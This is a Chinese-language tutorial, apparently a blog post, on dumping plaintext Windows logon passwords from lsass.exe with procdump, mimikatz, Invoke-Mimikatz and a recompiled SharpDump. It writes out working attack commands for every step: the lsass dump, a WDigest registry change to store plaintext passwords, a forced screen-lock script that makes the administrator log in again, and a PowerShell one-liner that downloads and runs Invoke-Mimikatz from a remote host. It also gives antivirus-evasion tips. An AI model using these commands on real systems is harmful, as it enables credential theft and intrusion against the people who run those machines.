测试环境:win10企业版和win2012 R2 版本
工具下载:链接:https://pan.baidu.com/s/1gNc9qLcNSNBohIVrAiqShw 密码:fc38
原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码
利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。
根据相应系统位数,选择工具
运行cmd , cd 进入相应软件目录。
先用procdump64.exe导出lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
命令执行完成之后,会有提示下载路径。
然后把 lsass.dmp 下载到本地(实战中可以从菜刀下载或者网站访问下载等等)
使用本地的mimikatz.exe读取lsass.dmp。
相应目录快捷打开cmd(此时读取过程不需要管理员权限的cmd)
在默认情况下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
如下图是没有修改注册表时的读取结果,无明文。
但是我们可以通过修改注册表来让Wdigest Auth保存明文口令:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
如需恢复原样,只需将上图REG_DWORD的值1改为0即可。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
修改注册表之后,修改了之后需要用户注销或者重新登陆之后才会生效。
使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过)
把如下代码保存为lock-screen.ps1。
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
执行: powershell -file lock-screen.ps1
管理员重新登录。
win10执行如下命令锁屏: rundll32.exe user32.dll,LockWorkStation
如下图,重启后,重新操作以上步骤,成功读取明文。
总结:
在系统为win10或2012R2以上时,都需要配置注册表并重新登录后才能抓取明文。
优点和缺点:
优点:用procdump导出lsass.dmp后拖回本地抓取密码来规避杀软。
缺点:修改注册表之后,需要重新登录才能生效,可以使用锁屏脚本(锁屏之前,一定要查看管理员是否在线),让管理员重新登录。
mimikatz是一款轻量级的调试神器,功能非常强大,其中最常用的功能就是抓取明文或Hash。
原理:Lsass.exe中恢复明文密码。
前提:拿到了目标的管理员权限,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。
Mimikatz.exe版本工具下载(下载相应版本):https://github.com/gentilkiwi/mimikatz/releases
测试环境:win10企业版和win2012 R2 版本
手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
如下是win10企业版。
运行mimikatz
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
如上一篇中解释,需要修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
如下图是没有修改注册表时的读取结果,无明文。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改注册表之后,修改了之后需要用户注销或者重启重新登陆之后才会生效。
如下图,重启后,重新操作以上步骤,成功读取明文。
实测:下载地址的三个版本的mimikatz.exe,在win2012 R2服务器版本上都会崩溃,
原因是不兼容。
改变思路,使用powershell版本的mimikatz。在win2012 R2测试。
把如下链接的内容复制到新建文本,然后重命名为Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
cmd下执行,本地加载
powershell -exec bypass “import-module .Invoke-Mimikatz.ps1;Invoke-Mimikatz”
前提还是得配置注册表重新登录后才能抓明文。
如下是没有配置注册表时,抓取没有明文。
配置注册表之后,使用强制锁屏ps1脚本(只适用于win服务器版本,win10测试不通过)
执行: powershell -file lock-screen.ps1
锁屏之后,管理员重新登录。
成功读取到明文。
在win10上执行Invoke-Mimikatz.ps1测试,出现报错。
也可以把ps1放到一个站点上远程加载
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz
Powershell执行方式参考:https://blog.csdn.net/qq_27446553/article/details/81074367
Win10抓取明文,用mimikatz的exe版本。
Win2012 R2等服务器版本抓取明文,用mimikatz的powershell版本。
powershell 适用范围有限,只能适用于 win7,2008r2 之后的系统。
实战时,我们可以在shell中执行命令配置注册表之后,尝试利用锁屏脚本(锁屏之前,一定要查看管理员是否在线),让管理员重新登录。
很多第三方软件都集成了mimikatz,例如CS的beacon,MSF的meterpreter等等。
mimikatz,抓取密码的方式还有导出lsass.exe,edigest,sam。
前提:拿到目标的管理员权限。Lsass.exe进程中保存了明文密码。
工具源代码下载地址:https://github.com/GhostPack/SharpDump
用VS打开工程文件
设置工程文件如下。
右击项目,重新生成。
成功生成,以下有生成路径。
然后直接上传exe,cmd执行。(因为是源代码重新编译生成的exe,一般可以免杀一段时间)
把文件导出到指定路径。
依然是回到本机机器用 mimikatz.exe 读取刚刚 dump 出的文件,特别注意,dump 的文件默认是 bin 后缀,拖到本地机器以后,需要自行把 bin 重命名为 zip 的后缀,然后正常解压处里面的文件,再丢给 mimikatz 去读取即可,如下
# mimikatz.exe “sekurlsa::minidump debug45” “sekurlsa::logonPasswords full” “exit”
成功抓取明文。
此方法的exe体积小[也就 9k 左右],默认它会自动 dump lsass.exe 进程数据,当然,你也可以指定进程 id 来 dump,在一些断网环境下很实用。
实测在win10企业版和win2012 R2 可行。
体积小,越好做免杀。
procdump和SharpDump的套路都是把lsass.exe进程中的数据dump下来,然后mimikatz进行读取内容。
mimikatz是直接读取lsass.exe里的数据。
两者有细微区别,就比如当你明文密码已经保存在lsass.exe进程中,这时把注册表配置成lsass.exe不保存明文密码,这个时候mimikatz是不能够读取明文的,但是procdump和SharpDump把lsass.exe的数据dump下来是能够读取明文。
以上都是以抓取明文为重点,其实如果没有配置注册表的话,也是可以读取NTLM和SHA1,
如能成功解密,就省去了抓取明文这一步。
有没有其他方法,不关于lsass.exe,就能够抓取明文?
如果笔者有什么错误或者还有其他一些什么好方法的话,希望能够在评论中指出。